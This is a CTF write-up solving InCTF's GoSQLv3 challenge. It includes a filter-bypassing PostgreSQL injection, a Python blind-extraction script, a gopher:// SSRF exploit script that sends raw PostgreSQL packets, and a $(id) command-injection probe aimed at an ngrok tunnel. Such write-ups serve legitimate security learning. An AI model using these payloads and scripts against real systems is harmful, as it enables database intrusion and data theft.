Solving InCTF’s GoSQLv3.
TL;DR
In this post, I’ll be showing the path I took to solve GoSQLv3 challenge from teambi0s' InCTF that finished yesterday along with all the tricks and testing that didn’t work, because that’s as important as the actual solution since them can be valid in other situations.
If you believe there’s anything wrong, please feel free to contact me via Twitter or Telegram. Let’s begin!
GoSQLv3
This challenge was based on a PostgreSQL Injection conditioned by a (quite nightmarish) blacklist, followed by a SSRF allowing us to make Gopher requests to the former database engine.
SQL Injection
Challenge Code
<?php
include("./config.php");
$db_connection = pg_connect($host. $dbname .$user. $pass);
if (!$db_connection) {
die("Connection failed");
}
$name = $_GET['name'];
$column = $_GET['column'];
$blacklist = "adm|min|\'|substr|mid|concat|chr|ord|ascii|left|right|for| |from|where|having|trim|pos|";
$blacklist .= "insert|usern|ame|-|\/|go_to|or|and|#|\.|>|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";
$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor";
if (preg_match("/$blacklist/i", $name)){
die("Try Hard");
}
if (preg_match("/$blacklist/i", $column)){
die("Try Hard");
}
$query = "select " . $column . " from inctf2020 where username = " . $name ;
$ret = pg_query($db_connection, $query);
if($ret){
while($row = pg_fetch_array($ret)){
if($row['username']=="admin"){
header("Location:{$row['go_to']}");
}
else{
echo "<h4>You are not admin " . "</h4>";
}
}
}else{
echo "<h4>Having a query problem" . "</h4><br>";
}
highlight_file(__FILE__);
?>
As you can see, this PHP code is taking the config.php file to propperly connect to the database, requesting both name and columns GET parameters, sanitizing them with the declared $blacklist, and finally executing the query with those values. The key of this stage was to make the query return $row['username'] to equal "admin", then the page would send us to the next stage.
Let’s start with the first variable in the query, column. To propperly test the queries I’ll be using the actual PostgreSQL database engine, but there are great alternatives like this.
$column
As far as I know, there are just two ways to declare column names in a PostgreSQL query.
The first one is globally accepted (with no surrounding quotes) whereas the second one (surrounded by double quotes) only stands for PostgreSQL.
No surrounding quotes:
testdb=# SELECT testcolumn;
ERROR: column "testcolumn" does not exist
Surrounded by double quotes:
testdb=# SELECT "testcolumn";
ERROR: column "testcolumn" does not exist
This detail is key, as we will be specifying the columns names to UTF-16 encoding.
According to PostgreSQL’s documentation, the syntax is: (online website to take the conversion from)
test -> \u0074\u0065\u0073\u0074 -> U&'\0074\0065\0073\0074'
Let’s see if it is actually like that!
testdb=# SELECT U&'\0074\0065\0073\0074';
?column?
----------
test
(1 row)
So, if everything is okay, why is the engine returning a string and not specifying a column? That’s why the double quotes ‘thingy’ was key.
testdb=# SELECT U&\0074\0065\0073\0074;
invalid command \0074
testdb=# SELECT U&'\0074\0065\0073\0074';
?column?
----------
test
(1 row)
testdb=# SELECT U&"\0074\0065\0073\0074";
ERROR: column "test" does not exist
This is the best summary to take into account that No surroundings & Double Quotes (") stand for columns just after a SELECT statement, and Single Quotes (') always stand for strings.
With that information, we can now build the first part of the query:
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f";
ERROR: column "username" does not exist
But this is not useful, as we won’t have enough information from PostgreSQL to propperly verify that our payload will success. Therefore, let’s create a simple table with such columns.
testdb=# CREATE TABLE inctf2020 (id int, username text, go_to text);
CREATE TABLE
And since we know an existing value in the database, it would be better to insert that value too.
testdb=# INSERT INTO inctf2020 VALUES (1, 'admin', 'secret_place');
INSERT 0 1
testdb=# SELECT * FROM inctf2020;
id | username | go_to
----+----------+--------------
1 | admin | secret_place
(1 row)
Now we are ready to resume our payload testing stage.
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020;
username | go_to
----------+--------------
admin | secret_place
(1 row)
There we go! We managed to SELECT everything from a column specifyed in UTF-16 encoding.
Unfortunately, I came up quite fast with this part of the injection since it is one of the main Character Restriction Bypass techniques I studied before taking AWAE, so no extra tricks/tries here.
$name
This stage’s objective is to write ‘admin’, for the query to return the desired columns with such value.
It would be as easy as writing ‘admin’, but that nightmarish blacklist appears again!
$blacklist = "adm|min|\'|...
This is checking whether the string contains ‘adm’, ‘min’ and '. Since we don’t have much options here, I usually refer to the String Functions Documentation and start searching for one that could help us building such string.
Double Dollar Strings
Before searching the function, we need to find a way to declare a string without Single Quotes. It should be easy, ain’t it?
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = "admin";
ERROR: column "admin" does not exist
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = admin;
ERROR: column "admin" does not exist
As we saw before, the only way to declare strings is by surrounding them by Single Quotes. So how are we going to declare it? Apparently, According to Postgres documentation, it allow us to surround a string with two dollar signs ($) in case we want it to me “more readable”.
testdb=# SELECT 'test';
?column?
----------
test
(1 row)
testdb=# SELECT $$test$$;
?column?
----------
test
(1 row)
Therefore, we are now ready to find a function to concatenate the string ‘admin’.
LPAD Function
This function allow us to literally “Fill up the string to length length by prepending the characters fill (a space by default). If the string is already longer than length then it is truncated (on the right)."
testdb=# SELECT LPAD('world', 10, 'hello');
lpad
------------
helloworld
(1 row)
This is everything we need to concatenate every ‘admin’ letter. (It is not strictly needed to concatenate each character, but it is better to practice in case we could need it again)
This is what we end up getting:
testdb=# SELECT LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a', 1, '')))));
lpad
-------
admin
(1 row)
There we go! Now the query will return what we want it to.
‘||’ String Concatenation
However, isn’t there another (and easier) way to concatenate strings in Postgres? Yes, there is, but I remembered of it later on. However, we will be using the former technique again.
$ python3 -c 'print("||".join("$$"+i+"$$" for i in "admin"))'
$$a$$||$$d$$||$$m$$||$$i$$||$$n$$
testdb=# SELECT $$a$$||$$d$$||$$m$$||$$i$$||$$n$$;
?column?
----------
admin
(1 row)
Getting the secret location
Let’s submit the query to get the location of the next stage.
$ curl -I 'http://MIRROR/?column=U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'
HTTP/1.1 200 OK
Date: Sun, 02 Aug 2020 18:11:43 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Hmm, it seems we are missing something… or actually not. The backend is taking more than two $_GET arguments, as &s are not URL Encoded and stand for the declaration of a new GET parameter.
& -> (URL ENCODE) -> %26
$ curl -I 'http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'
HTTP/1.1 302 Found
Date: Sun, 02 Aug 2020 18:14:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: ./feel_the_gosql_series.php
Content-Type: text/html; charset=UTF-8
There we go! The Location we must follow is at feel_the_gosql_series.php.
SSRF approach
We are facing an input whose content will be executed along with cURL. Before enumerating which protocols the input allows, let’s see if anything can be injected.
Code Injection (Fail)
If the backend is not using escapeshellarg() function, we could inject code by escaping the provided quotes or just executing $(command here). To propperly test this, a public and reachable IP address is needed, however, there’s a tool called ngrok that allow us to open our localhost to a domain controlled by them. There’s a more detailed post about how it works here.
We could try something like:
NGROK-TUNNEL/$(id)
NGROK-TUNNEL/'$(id)
NGROK-TUNNEL/"$(id)
NGROK-TUNNEL/"'$(id)
But will never work, as it is actually using that function. (function in-action)
Enumerating allowed protocols
According to curl’s man page, its supported protocols are HTTP, HTTPS, FTP, FTPS, GOPHER, DICT, TELNET, LDAP or FILE, so let’s see which of them are actually allowed.
Finding a Boolean way of enumerating them
To propperly find out which of them are allowed, just by sending file://, a different message appears (Can't you solve, without using it!!!), so now we are ready to test that dictionary. (It is not so much long, so manually would work too)
protos="http https ftp ftps gopher dict telnet ldap file"; for proto in $protos; do echo $proto; curl 'http://MIRROR/feel_the_gosql_series.php' -d "url=$proto://"; echo;done
The protocols that doesn’t throw any errors are HTTP(S), GOPHER, TELNET. If this was kind of eval’ing or processing the response of the query, we could inject PHP code by using any of those except Gopher, but the only thing we can do is client-side injection (HTML/JS), and it is worth-less.
Verifying that Gopher works (and the databse is in the usual port)
To client-side verify that gopher works, it is as simple as see if the query hangs or not.
Local verification:
(Hangs -> is waiting)
A> nc -lnvp 99
listening on [any] 99 ...
B> curl gopher://127.0.0.1:99
A> connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42446
# (waiting for more packets)
(Doesn’t hang -> Connection refused aka not open port)
$ curl gopher://127.0.0.1:81
curl: (7) Failed to connect to 127.0.0.1 port 81: Connection refused
In the challenge, port 5432 (PostgreSQL) hung.
What_The_H*ll('gopher://')?
In a nutshell, gopher is capable of sending TCP packets hardcoded in the URL following a specific syntax. This allow us to communicate with any service running on the backend, like the Postgres database we have just used to get the secret URL. (More information)
Regarding the past GoSQLvX challenges, we should now make a request to the database through this protocol. There’s an already created tool called Gopherus whose creator is this challenges' too, and one of its modules is made for PostgreSQL. However, at the time of the challenge, he hadn’t submitted the update yet, so we should create our ‘plugin’ for it!
PostgreSQL Gopher exploit creation… or not yet
For the query to succeed, the username and database name must be known!
Returning to the SQL Injection
To remember, we were using this query to get the secret URL.
http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$
To continue, I will be using the actual query as a reference, for us to understand it better.
SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE name = $$a$$||$$d$$||$$m$$||$$i$$||$$n$$
How can we retrieve the username and the database name? First of all, let’s see how to get them in a usual way. (cheatsheet I always refer to)
User retrieval
testdb=# SELECT USER;
user
----------
postgres
(1 row)
Database name retrieval
testdb=# SELECT current_database();
current_database
------------------
testdb
(1 row)
Boolean data retrieval
To actually get those values, we must find a way to compare that value to a string we provide, and then know whether that comparison is TRUE or FALSE.
To get that done, we will be LPAD‘ing the 'admin' string with N times 'a', being N the LENGTH of the result of a comparison. (Resulting in ‘admin’ when it is FALSE and ‘admi’ when it is TRUE)
LPAD (yes, again, but the objective now is to reduce the passed string)
testdb=# SELECT LPAD('123456', 3, '');
lpad
------
123
(1 row)
VARCHAR(X) casting
testdb=# SELECT '123456'::VARCHAR(3);
varchar
---------
123
(1 row)
At the time writing this I have realized that doing this would have also done what we wanted it to do.
testdb=# SELECT ($$a$$||$$d$$||$$m$$||$$i$$||$$n$$)::VARCHAR(3);
varchar
---------
adm
(1 row)
Boolean word reduction
Since ‘admin’ and false are of the same length, LPAD‘ing ‘admin’ N times '' being N the LENGTH of false, ‘admin' wouldn't be changed. However, if the result of the comparison is true, it will become ‘admi’ since the LENGTH of true is 4.
testdb=# SELECT LENGTH((1=2)::TEXT);
length
--------
5
(1 row)
testdb=# SELECT LENGTH((1=1)::TEXT);
length
--------
4
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((1=1)::TEXT), '');
lpad
------
admi
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((1=2)::TEXT), '');
lpad
-------
admin
(1 row)
Boolean word reduction based on the reduction of a variable
The former comparisons can be undertaken treating engine variables too.
testdb=# SELECT LPAD('admin' ,LENGTH((USER='randomuser')::TEXT), '');
lpad
-------
admin
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((USER='postgres')::TEXT), '');
lpad
------
admi
(1 row)
However, bruteforcing this could take us years… and the CTF lasts 2 days! So let’s see if we can find out how to copy the usual LIKE '{char}%' technique.
testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(1)='a')::TEXT), '');
lpad
-------
admin
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(1)='p')::TEXT), '');
lpad
------
admi
(1 row)
Final ‘name’ payload
'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((%s::VARCHAR(%s)=%s)::TEXT),$$a$$)' % (parameter_to_exfiltrate, offset, extracted_data+current_char)
- Notice the last
$$a$$. Single Quotes are banned, and whereas$$$$should be fine, I prefered to leave a random letter to make sure I didn’t mess up the query.
Example
'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT),$$a$$)'
This time, if the first 5 characters of the USER value are ABCDE, (USER::VARCHAR(5)=ABCDE) would be TRUE, LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT) would be 4 and lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT),$$a$$) would return ‘admi’.
Problems!!
This query is quite interesting, and help us retrieving variables/return function values, but what if a value contains a banned character(s)? This query is useless in that case.
Avoiding multiple character limitation
Taking profit of the ‘||’ character concatenation, we can bypass all of the blacklist fields where the LENGTH of it is >1.
Being USER test, and being 'st' blacklisted, this would work.
$ python3 -c 'print("||".join("$$"+i+"$$" for i in "test"))'
$$t$$||$$e$$||$$s$$||$$t$$
testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(4)=$$t$$||$$e$$||$$s$$||$$t$$)::TEXT), $$$$);
lpad
------
admi
(1 row)
However, there’s nothing we can do if the banned character is ‘e’, since it will always have to be present.
Injection change
After a lot of struggle and the willing to move to another ‘easier’ challenge (well, perhaps I dind’t want that much), I came up with split_part function. It is almost the same as python's split(), but allows you to set the part of the split you ‘wanna take’.
What it is made for
testdb=# SELECT split_part('12345', '3', 1);
split_part
------------
12
(1 row)
(kind of) Abusing it
testdb=# SELECT split_part(USER, 'p', 2);
split_part
------------
ostgres
(1 row)
testdb=# SELECT split_part(USER, USER::VARCHAR(1), 2);
split_part
------------
ostgres
(1 row)
testdb=# SELECT split_part(USER, USER::VARCHAR(1), 2)::VARCHAR(1);
split_part
------------
o
(1 row)
By doing this, the variable can be extracted char-by-char (except its first character).
Data Retrieval
Since I’m always keen on automating everything in the challenges I keep doing, this is the script I ended up using:
# -*- coding: utf-8 -*-
import requests
from string import ascii_letters, digits
import base64
url = "http://MIRROR"
#to_exfil = "USER"
#to_exfil = "version()"
to_exfil = "current_database()"
extracted = ""
offset = 1
while True:
for char in ascii_letters + digits + "@{}()\"=[]:;+":
params = {
'column': r'U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"',
'name': 'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((split_part(%s,%s::VARCHAR(%s),2)::VARCHAR(1)=$$%s$$)::TEXT),$$a$$)' % (to_exfil, to_exfil, offset, char)
}
req = requests.get(url, params=params, allow_redirects=False)
#print(params)
#print(req.headers, extracted)
if not 'Location' in req.headers:
if req.text == "Try Hard":
continue
else:
extracted += char
offset += 1
print(extracted)
break
else:
if extracted[-5::] == '?'*5:
print(f"EXTRACTED {to_exfil}: {extracted[:-5]}")
break
extracted += "?"
offset += 1
# USER = oneysingh (honeysingh)
# version() = (P)ostgreSQL?9?5?21?on?x86?64?pc?linux?gnu??compiled?by?gcc?(Ubuntu?5?4?0?6ubuntu1?16?04?12)?5?4?0?20160609??64?bit
# current_database() = osqlv3 (gosqlv3)
- Made the ? ‘thingy’ because I thought I needed
version().
Returning to the SSRF
Now that we know the username and the database, the environment can be built. I ended up creating the same user and database, not to mess the gopher packets too much (and I’m not too much into packets’ structure, syntax… I’m holding it as a pending subject).
By sending this command, we will be generating the needed traffic to make a query, and we will just have to change the command (and its length).
psql -h 127.0.0.1 -U honeysingh -d "dbname=gosqlv3 sslmode=disable" -c "SELECT 1;"
- Notice
sslmode=disableflag, not to be sending the packet via TLS.
This is the Startup message (aka auth) that we will have to Copy > Hex Dump into our script.
The same happens with the Simple query, but the length of it is key for the query to work.
And the last Termination that is needed too.
Joining it together
import binascii
import requests
def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://127.0.0.1:5432/_%" + "%".join(a)
url = "http://MIRROR/feel_the_gosql_series.php"
while True:
query = input("SQL> ") # MÁX 122 CHARS
if len(query) > 122:
print("Máx 122 chars")
continue
query_hex = binascii.hexlify(query.encode()).decode()
query_hex_packet = query_hex + "00"
query_len = len(query) + 5
query_len_packet = binascii.hexlify(chr(query_len).encode()).decode()
# Startup
test = "00000055000300007573657200686f6e657973696e676800646174616261736500676f73716c7633006170706c69636174696f6e5f6e616d65007073716c00636c69656e745f656e636f64696e6700555446380000"
# Query
test += f"51000000{query_len_packet}{query_hex_packet}"
# Termination
test += "5800000004"
to_send = encode(test)
req = requests.post(url, data={'url': to_send})
print(req.text)
- The encode function was taken from Gopherus’ MySQL exploit and it surrounds each two hex characters by a %.
- The query_len was the actual length of the query + 5, and the packet value had to be the hex value of query_len.
- The limitation to 122 chars is related to the query_len changing drastically.
Finding the flag by an unusual way
By listing permissions, I noticed an existing table called cmd_exec which I could select.
SQL> SELECT grantee,table_catalog,table_schema,table_name,privilege_type FROM information_schema.role_table_grants
<!DOCTYPE html>
<html>
<head><title>SomeTimes hard chall is good</title></head>
<body>
<h2>Welcome Back!!! admin !!!</h2>
<h3>You have one functionality that you can cURL</h3>
<form method=POST>
put url : <input type="text" name="url">
<button type="submit">GO</button>
</form>
</body>
</html>
S→application_namepsqlS↓client_encodingUTF8S↨DateStyleISO, MDYS↓integer_datetimesonSntervalStylepostgresS§is_superuseroffS↓server_encodingUTF8S→server_version9.5.21S%session_authorizationhoneysinghS#standard_conforming_stringsonS§TimeZoneEtc/UTCK♀♠=‼f�)Z♣IT�♣grantee/�☻♦‼������table_catalog/�♥♦‼������table_schema/�♦♦‼������table_name/�♣♦‼������privilege_type/�♠♦‼������D<♣
honeysinghgosqlv3♠public♣eeeee♠INSERTD<♣
honeysinghgosqlv3♠public♣eeeee♠SELECTD<♣
honeysinghgosqlv3♠public♣eeeee♠UPDATED<♣
honeysinghgosqlv3♠public♣eeeee♠DELETED>♣
honeysinghgosqlv3♠public♣eeeeTRUNCATED@♣
honeysinghgosqlv3♠public♣eeeee
REFERENCESD=♣
honeysinghgosqlv3♠public♣eeeeeTRIGGERD?♣
honeysinghgosqlv3♠publifooooooo♠INSERTD?♣
honeysinghgosqlv3♠publifooooooo♠SELECTD?♣
honeysinghgosqlv3♠publifooooooo♠UPDATED?♣
honeysinghgosqlv3♠publifooooooo♠DELETEDA♣
honeysinghgosqlv3♠publifooooooTRUNCATEDC♣
honeysinghgosqlv3♠publifooooooo
REFERENCESD@♣
honeysinghgosqlv3♠publifoooooooTRIGGERD<♣
honeysinghgosqlv3♠public♣ddddd♠INSERTD<♣
honeysinghgosqlv3♠public♣ddddd♠SELECTD<♣
honeysinghgosqlv3♠public♣ddddd♠UPDATED<♣
honeysinghgosqlv3♠public♣ddddd♠DELETED>♣
honeysinghgosqlv3♠public♣ddddTRUNCATED@♣
honeysinghgosqlv3♠public♣ddddd
REFERENCESD=♣
honeysinghgosqlv3♠public♣dddddTRIGGERD:♣♣inctfgosqlv3♠publicmd_exec♠INSERTD:♣♣inctfgosqlv3♠publicmd_exec♠SELECTD:♣♣inctfgosqlv3♠publicmd_exec♠UPDATED:♣♣inctfgosqlv3♠publicmd_exec♠DELETED<♣♣inctfgosqlv3♠publicmd_exeTRUNCATED>♣♣inctfgosqlv3♠publicmd_exec
REFERENCESD;♣♣inctfgosqlv3♠publicmd_execTRIGGERD@♣
honeysinghgosqlv3♠public inctf2020♠SELECTC♫SELECT 29Z♣I
Selecting it for the lulz brought us the flag!!
SQL> SELECT * FROM cmd_exec
<!DOCTYPE html>
<html>
<head><title>SomeTimes hard chall is good</title></head>
<body>
<h2>Welcome Back!!! admin !!!</h2>
<h3>You have one functionality that you can cURL</h3>
<form method=POST>
put url : <input type="text" name="url">
<button type="submit">GO</button>
</form>
</body>
</html>
S→application_namepsqlS↓client_encodingUTF8S↨DateStyleISO, MDYS↓integer_datetimesonSntervalStylepostgresS§is_superuseroffS↓server_encodingUTF8S→server_version9.5.21S%session_authorizationhoneysinghS#standard_conforming_stringsonS§TimeZoneEtc/UTCK♀ [qi�↕Z♣IT#☺cmd_output☺�♥☺↓������DM☺CFLAG: inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}D
SELECT 2Z♣I
Obviously, this is not the intended way to do it. As SpyD3r states in his official writeup, "The GoSQLv3 challenge got 8 solves but I would say the only one full solve that was RCE by the EpicLeetTeam(Congratulations for the first blood) but mistakenly the team has saved the flag on one of the table and most of the team just read the flag from that table."
However, I felt it actually was, since the user was not superadmin and there was no way to COPY TO or FROM a program or file.
Nevertheless, SpyD3r shows how to take the privileges from a table that had them, uploading a library and executing commands as the system user. However, as the table name was cmd_exec (and thats the name that appears in every PostgreSQL cheatsheet) perhaps using that set role trick was enough to COPY FROM PROGRAM and read the flag.
To finish with, I’d like to thank Tarunkant (aka SpyD3r) for the support and the great challenge, because I liked every piece of it and learnt a ton! and teambi0s for the CTF.
I hope you liked it, or at least learnt something!